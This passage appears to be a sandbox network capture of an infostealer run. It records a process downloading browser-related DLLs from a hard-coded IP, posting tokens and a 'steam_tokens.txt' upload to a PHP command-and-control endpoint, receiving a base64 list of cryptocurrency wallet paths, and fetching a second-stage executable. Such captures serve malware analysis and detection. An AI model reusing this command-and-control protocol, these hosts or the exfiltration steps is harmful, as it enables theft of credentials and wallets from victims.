Nov 23, 2024 17:44:30.837423086 CET	1236	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Nov 23, 2024 17:44:30.837589025 CET	1236	IN	Data Raw: b6 d2 89 55 ec 89 4d c8 31 c9 8a 5d e8 8b 55 e0 89 7d e4 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 89 4d e8 8b 0c 0f 89 4d d4 89 ce 89 c1 d3 e6 09 d6 89 75 e0 8b 45 e8 8b 4d ec 01 c8 83 c0 01 0f b6 c0 8b 4d f0 0f b6 0c 01 00 cb 0f b6 f3 8b 55 f0 0f Data Ascii: UM1]U}f.MMuEMMU2}E0MEEMLEE0}M1MMEUU}47}4E0UMU
Nov 23, 2024 17:44:30.845793009 CET	1236	IN	Data Raw: a8 0f ac d6 10 89 75 88 8b 55 ec 01 f2 89 55 ec 8b 75 e0 11 c6 89 75 e0 31 f1 89 f8 31 d0 89 ca 0f a4 c2 01 89 55 ac 0f a4 c8 01 89 85 48 ff ff ff 8b b5 74 ff ff ff 8b 46 30 89 85 30 ff ff ff 8b 8d dc fe ff ff 8b 51 18 89 95 b8 fe ff ff 01 c2 8b Data Ascii: uUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U:O31\tS8ES<]\E
Nov 23, 2024 17:44:32.405209064 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 17:44:32.851851940 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 23, 2024 17:44:33.705818892 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 17:44:34.233066082 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 23, 2024 17:44:34.944803953 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 17:44:35.397437096 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 17:44:38.682351112 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 17:44:39.128833055 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 17:44:40.050662994 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 17:44:40.505156040 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 23, 2024 17:44:41.141196966 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 17:44:42.274280071 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:42.314721107 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCFIEBKEGHIDGCAFBF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 2d 2d 0d 0a Data Ascii: ------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="message"wallets------FBFCFIEBKEGHIDGCAFBF--
Nov 23, 2024 17:44:43.227864027 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 23, 2024 17:44:43.230742931 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"files------HJEBGHIEBFIJKECBKFHD--
Nov 23, 2024 17:44:43.687455893 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:43.699423075 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file"------BGDAKEHIIDGDAAKECBFB--
Nov 23, 2024 17:44:44.638103008 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:44.665534019 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="message"ybncbhylepme------GCBKECAKFBGCAKECGIEH--
Nov 23, 2024 17:44:45.205169916 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49756	185.215.113.16	80	2080	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 17:44:45.328917980 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 23, 2024 17:44:46.706070900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 16:44:46 GMT Content-Type: application/octet-stream Content-Length: 1973248 Last-Modified: Sat, 23 Nov 2024 16:31:48 GMT Connection: keep-alive ETag: "67420374-1e1c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 30 4e 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0N@`Nr@WkDNN @.rsrcD@.idata @ p,@cqnnvyhp 3@zjdghvcx N@.taggant00N"@
Nov 23, 2024 17:44:46.706156015 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 17:44:46.706727028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 17:44:46.706799030 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
